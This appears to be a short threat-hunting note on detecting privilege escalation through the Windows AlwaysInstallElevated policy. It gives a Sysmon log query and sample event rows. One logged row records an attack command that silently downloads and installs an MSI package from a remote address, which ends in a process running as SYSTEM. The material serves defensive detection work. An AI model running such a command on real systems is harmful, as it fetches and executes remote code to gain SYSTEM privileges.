

Always Install Elevated. Let's hunt it!



Search for chain of events: request to start MSI from non privileged user (1) → Windows Installer service try to install MSI packages with SYSTEM privileges (2):

```
source_name:"Microsoft-Windows-Sysmon" AND event_id:1 AND ( (event_data.Image:"\"\\Windows\\Installer\\\" AND *msi* AND *tmp) AND event_data.User:"NT AUTHORITY\\SYSTEM") OR (event_data.Image:"\"\\msiexec.exe" AND -event_data.User:"NT AUTHORITY\\SYSTEM" AND -event_data.IntegrityLevel:System) )
```

task	computer_name	event_data.ParentImage	event_data.CommandLine	event_data.User	event_data.IntegrityLevel
Process Create (rule: Process Create)	Win10x64_1803.test domain.com	C:\\Windows\\System32\\cmd.exe	msiexec.exe /q /i http://192.168.220.1/plugin.msi	WIN10X64_1803\\priv user	Medium
Process Create (rule: Process Create)	Win10x64_1803.test domain.com	C:\\Windows\\System32\\msiexec.exe	"C:\\Windows\\Installer\\MSIA7EC.tmp"	NT AUTHORITY\\SYSTEM	System